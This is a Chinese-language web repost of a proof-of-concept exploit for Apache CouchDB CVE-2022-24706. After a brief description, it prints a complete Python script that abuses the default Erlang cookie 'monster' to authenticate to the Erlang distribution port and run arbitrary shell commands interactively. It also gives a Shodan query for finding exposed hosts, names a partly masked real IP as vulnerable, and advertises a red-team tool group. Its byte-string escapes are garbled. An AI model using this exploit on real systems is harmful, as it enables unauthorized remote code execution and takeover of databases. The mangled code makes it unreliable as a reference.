栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC

Apache CouchDB 代码执行漏洞(CVE-2022-24706 )
由于CouchDB的默认安装配置存在缺陷,最终可导致攻击者通过访问特定端口,绕过权限校验并获得管理员权限

CVE-2022-24706漏洞是由于3.2.2 版本之前的 CouchDB 的默认配置存在缺陷点, 攻击者可以在未进行身份验证的情况下访问不正确的默认安装进而获得管理员权限。该漏洞影响范围小,建议用户在所有 CouchDB 安装之前安装防火墙。完整的CouchDB api 在注册端口“5984”上可用,这是唯一的需要为单节点安装公开的端口。
实例:45.147.96.xxx 存在REC
EXP

# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
#  https://habr.com/ru/post/661195/
#  https://www.exploit-db.com/exploits/49418
#  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#  https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
# !/usr/local/bin/python3

import socket
from hashlib import md5
import struct
import sys
import re
import time

TARGET = sys.argv[1]
EPMD_PORT = 4369  # Default Erlang distributed port
COOKIE = "monster"  # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"x00x01x6e"  # Request for nodes list

# Some data:
NAME_MSG = b"x00x15nx00x07x00x03x49x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"x00x15rx01x02x03x04"
CTRL_DATA = b"x83hx04ax06gwx0eAAAAAA@AAAAAAAx00x00x00x03"
CTRL_DATA += b"x00x00x00x00x00wx00wx03rex"


def compile_cmd(CMD):
    MSG = b"x83hx02gwx0eAAAAAA@AAAAAAAx00x00x00x03x00x00x00"
    MSG += b"x00x00hx05wx04callwx02oswx03cmdlx00x00x00x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jwx04user'
    PAYLOAD = b'x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD


print("Remote Command Execution via Erlang Distribution Protocol.n")

while not TARGET:
    TARGET = input("Enter target host:n> ")

# Connect to EPMD:
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %sn terminating program" % msg)
    sys.exit(1)

epm_socket.send(EPM_NAME_CMD)  # request Erlang nodes
if epm_socket.recv(4) == b'x00x00x11x11':  # OK
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" % (line_number, line))
        choise = int(input("n> "))

    ERLNAG_PORT = int(re.search("d+$", data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Connect to Erlang port:
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %sn terminating program" % msg)
    sys.exit(1)

s.send(NAME_MSG)
s.recv(5)  # Receive "ok" message
challenge = s.recv(1024)  # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]

# print("Extracted challenge: {}".format(challenge))

# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
                       + bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:n")

data_size = 0
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0]  # Get data size
        s.recv(45)  # Control message
        data_size -= 45  # Data size without control message
        time.sleep(0.1)
    elif data_size < 1024:
        data = s.recv(data_size)
        # print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode())
        data_size = 0
    else:
        data = s.recv(1024)
        # print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
        time.sleep(0.1)
        print(data.decode(), end='')
        data_size -= 1024

钉钉CVE漏洞及红队工具自动推送群:31797046https://qr.dingtalk.com/action/joingroup?code=v1,k1,pvNvPYemLn/GMB6zR6MOqYRz+Fek+eWMYkXCD3cR6Ag=&_dt_no_comment=1&origin=11

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/966071.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号